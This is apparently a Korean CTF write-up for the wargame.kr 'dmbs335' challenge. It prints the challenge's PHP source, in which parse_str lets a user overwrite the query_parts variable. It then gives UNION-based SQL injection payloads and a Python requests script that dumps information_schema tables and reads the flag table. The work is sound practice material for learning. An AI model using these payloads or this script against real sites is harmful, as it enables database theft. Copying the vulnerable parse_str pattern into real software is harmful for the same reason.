Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트에서는 dmbs335 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 생각보다 간단하지만, 어느정도 PHP 코드의 분석이 필요한 문제입니다.
문제를 풀어보도록 하겠습니다.
| 문제 이해 |
문제는 다음과 같습니다.
여기서 문제를 보면, SQL Injection 문제라고 나옵니다.
그리고 문제로 들어가면 다음과 같이 테이블이 나오게 됩니다.
쿼리는 GET 방식으로 search_cols, keyword, operator가 있고, 소스도 보여줍니다.
소스는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 |
<?php if (isset( $_GET [ 'view-source' ])) { show_source( __FILE__ ); exit (); } include ( "../lib.php" ); include ( "./inc.php" ); // Database Connected function getOperator(& $operator ) { switch ( $operator ) { case 'and' : case '&&' : $operator = 'and' ; break ; case 'or' : case '||' : $operator = 'or' ; break ; default : $operator = 'or' ; break ; }} if (preg_match( '/session/isUD' , $_SERVER [ 'QUERY_STRING' ])) { exit ( 'not allowed' ); } parse_str ( $_SERVER [ 'QUERY_STRING' ]); getOperator( $operator ); $keyword = addslashes ( $keyword ); $where_clause = '' ; if (!isset( $search_cols )) { $search_cols = 'subject|content' ; } $cols = explode ( '|' , $search_cols ); foreach ( $cols as $col ) { $col = preg_match ( '/^(subject|content|writer)$/isDU' , $col ) ? $col : '' ; if ( $col ) { $query_parts = $col . " like '%" . $keyword . "%'" ; } if ( $query_parts ) { $where_clause .= $query_parts ; $where_clause . = ' ' ; $where_clause .= $operator ; $where_clause . = ' ' ; $query_parts = '' ; } } if (! $where_clause ) { $where_clause = "content like '%{$keyword}%'" ; } if (preg_match( '/\s' . $operator . '\s$/isDU' , $where_clause )) { $len = strlen ( $where_clause ) - ( strlen ( $operator ) + 2); $where_clause = substr ( $where_clause , 0, $len ); } ?> < style > td:first-child, td:last-child {text-align:center;} td {padding:3px; border:1px solid #ddd;} thead td {font-weight:bold; text-align:center;} tbody tr {cursor:pointer;} </ style > < br /> < table border = 1 > < thead > < tr >< td >Num</ td >< td >subject</ td >< td >content</ td >< td >writer</ td ></ tr > </ thead > < tbody > <?php $result = mysql_query ( "select * from board where {$where_clause} order by idx desc" ); while ( $row = mysql_fetch_assoc ( $result )) { echo "<tr>" ; echo "<td>{$row['idx']}</td>" ; echo "<td>{$row['subject']}</td>" ; echo "<td>{$row['content']}</td>" ; echo "<td>{$row['writer']}</td>" ; echo "</tr>" ; } ?> </ tbody > < tfoot > < tr >< td colspan = 4 > < form method = "" > < select name = "search_cols" > < option value = "subject" selected>subject</ option > < option value = "content" >content</ option > < option value = "content|content" >subject, content</ option > < option value = "writer" >writer</ option > </ select > < input type = "text" name = "keyword" /> < input type = "radio" name = "operator" value = "or" checked /> or < input type = "radio" name = "operator" value = "and" /> and < input type = "submit" value = "SEARCH" /> </ form > </ td ></ tr > </ tfoot > </ table > < br /> < a href = "./?view-source" >view-source</ a >< br /> |
먼저 42번 째 줄을 보면, 만약 $col의 값이 subject나 content 혹은 writer가 아니면 빈 문자열을 반환합니다.
즉, 정상적인 요청일 때는 seach_cols에는 content, subject, writer 등의 값이 들어있어야 합니다.
그리고 해당 값이 있다면 $query_parts라는 값에 적절한 값이 세팅됩니다.
여기서 취약한 부분이 어디인지 찾아보았는데, parse_str함수를 통해 $_SERVER['QUERY_STRING'] 값을 파싱한다는 부분입니다.
_SERVER['QUERY_STRING']은 우리가 POST든 GET이든 값을 넘겨주게 되면, 해당 값으로 변수를 채운다는 뜻입니다.
만약 GET으로 ?data=abcd&id=identification 이렇게 값을 넘겨줬다면
$data에는 'abcd'라는 값이,
$id에는 'identification'이라는 값이 들어가게 됩니다.
이와 같이 넘어온 값을 변수에 채워주게 되는데, 이러한 부분이 취약점이 될 수 있습니다.
| 문제 풀이 |
위의 문제를 풀기 위해서는 우리가 임의로 특정 영역에 값을 넣어줄 수 있다는 점, 그리고 그 값이 변경되지 않도록 할 수 있는 부분이 있는가에 대한 확인이 필요합니다.
1. 특정 영역에 값을 넣을 수 있는 건 _SERVER['QUERY_STRING']이라는 코드가 있기 때문
2. 우리가 입력한 값이 SQL Injection이 되도록 변경이 되지 않고 잘 삽입될 수 있는지 확인은 코드를 분석해야 함
|
특정 영역에 값을 넣을 수 있는가 |
우리는 keyword든, where_clause든, query_parts, operator, cols 등에 값을 넣을 수 있습니다.
이는 _SERVER['QUERY_STRING'] 이라는 코드가 있기 때문입니다.
변수에 값을 넣어주는 쿼리는 다음과 같이 할 수 있습니다.
http://wargame.kr:8080/dmbs335/?where_clause=1&cols=1&query_parts=1&search_cols=1&keyword=1&operator=or
|
우리가 입력한 값이 변경되지 않고 잘 삽입될 수 있는가 |
우리가 코드에서 삽입할 수 있는 변수들의 목록을 살펴볼 때, 다음과 같은 코드는 무조건 다른 값으로 매꿔지는 것을 볼 수 있습니다.
11번 라인 $operator(값이 무조건 치환되도록 하였음)
33번 라인 $where_clause(값이 빈 문자열로 치환되도록 하였음)
39번 라인 $cols(값이 들어 있든 없든, 분할되어 Array로 바뀜)
여기서 우리는 $len, $query_parts를 이용할 수 있겠다 싶지만, SQL문에 직접 삽입되는 코드는 query_parts 뿐임을 알 수 있습니다.
query_parts 변수에 값을 넣어서 변하지 않도록 하기 위해서는 43번 라인이 실행되면 안 됩니다.
즉, $col에 값이 들어있지 않아야 하며, 이를 위해서는 seach_cols에 subject, content, writer 등의 문자가 없어야 함을 의미합니다.
여기서 위와 같은 조건을 맞춰준다면 다음과 같은 SQL 문이 들어가게 됨을 예상할 수 있습니다.
select * from board where {$query_parts} order by idx desc
위의 값에 $query_parts 부분에는 원래 $where_clause가 들어가게 되는데, 만약 col에 적절한 값이 들어가 있지 않다면,
43번 if문이 실행되지 않고, 우리가 입력한 query_parts 값이 where_clause에 들어가게 됩니다.
그리고 59 ~ 62 라인의 코드에서 $where_clause 값을 적절한 쿼리로 만들어줍니다.(뒤에 붙는 $operator 값을 제거함)
여기서 각각 다음과 같이 입력해보도록 합시다.
query_parts(unquote) : 0 union select 1,2,3,4#
query_parts(quote) : 0%20union%20select%201,2,3,4%23
search_cols : 1
그러면 다음과 같은 값을 뱉어냅니다.
허허허허허허 개꾸르
Injection이 가능하다는 것을 볼 수 있습니다.
여기서 싱글 쿼터, 더블 쿼터 모두 필터링이 되어 있지 않기 때문에 다음과 같이 information_schema 값을 쭈욱 뽑아낼 수 있습니다.
편하게 해보려고 불편한 코드를 작성해보았습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
import requests import re requests.packages.urllib3.disable_warnings() sess = requests.session() query_works = False # Test to Query if it works ========================== # id = admin # not filtered single quote.... # search_cols must not have the words; 'subject' or 'content' query_parts = '1' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or" . format ( query_parts, search_cols, keyword) res = sess.get(url = URL + payload, verify = False ) if len (res.text) > 945 : query_works = True else : query_works = False print ( '[=] query_works : ' , query_works) print ( '[=] res.text len : ' , len (res.text)) # GET table_schema and table_name ========================== # < td> tag parsing regex regex = r "< td>(.+?)< /td>" query_parts = '0 union select 1,table_schema,table_name,4 from information_schema.tables%23' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or" . format ( query_parts, search_cols, keyword) res = sess.get(url = URL + payload, verify = False ) pos = res.text.find( '< tbody>' ) data = res.text[pos:] re_list = re.findall(regex, data)[: 4 ] count = 0 print ( '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-' ) print ( '{} : {}' . format ( '1' , re_list[count + 0 ])) print ( '{} : {}' . format ( 'table_name' , re_list[count + 1 ])) print ( '{} : {}' . format ( 'column_name' , re_list[count + 2 ])) print ( '{} : {}' . format ( '4' , re_list[count + 3 ])) count + = 4 # GET table_name and column_name ========================== # < td> tag parsing regex regex = r "< td>(.+?)< /td>" query_parts = '0 union select 1,table_name,column_name,4 from information_schema.columns where table_name=\'Th1s_1s_Flag_tbl\'%23' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or" . format ( query_parts, search_cols, keyword) res = sess.get(url = URL + payload, verify = False ) pos = res.text.find( '< tbody>' ) data = res.text[pos:] re_list = re.findall(regex, data)[: 4 ] count = 0 print ( '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-' ) print ( '{} : {}' . format ( '1' , re_list[count + 0 ])) print ( '{} : {}' . format ( 'table_name' , re_list[count + 1 ])) print ( '{} : {}' . format ( 'column_name' , re_list[count + 2 ])) print ( '{} : {}' . format ( '4' , re_list[count + 3 ])) count + = 4 # GET column_name and column_data ========================== # < td> tag parsing regex regex = r "< td>(.+?)< /td>" query_parts = '0 union select 1,2,f1ag,4 from dmbs335.Th1s_1s_Flag_tbl%23' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or" . format ( query_parts, search_cols, keyword) res = sess.get(url = URL + payload, verify = False ) pos = res.text.find( '< tbody>' ) data = res.text[pos:] re_list = re.findall(regex, data)[: 4 ] count = 0 print ( '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-' ) print ( '{} : {}' . format ( '1' , re_list[count + 0 ])) print ( '{} : {}' . format ( '2' , re_list[count + 1 ])) print ( '{} : {}' . format ( 'column_data' , re_list[count + 2 ])) print ( '{} : {}' . format ( '4' , re_list[count + 3 ])) count + = 4 |
끝!
'WARGAMES > wargame.kr' 카테고리의 다른 글
[Wargame.kr] Level 27 - Dun worry about vase (0) | 2020.01.16 |
---|---|
[Wargame.kr] Level 26 - dll with notepad (0) | 2020.01.16 |
[Wargame.kr] Level 25 - QnA (0) | 2019.12.19 |
[Wargame.kr] Level 24 - Crypto Crackme Basic (0) | 2019.06.18 |
[Wargame.kr] Level 22 - keypad_crackme (0) | 2019.06.14 |
[Wargame.kr] Level 21 - crack crack crack it (0) | 2019.06.11 |
[Wargame.kr] Level 20 - lonely_guys (0) | 2019.06.11 |
[Wargame.kr] Level 19 - ip log table (0) | 2019.05.17 |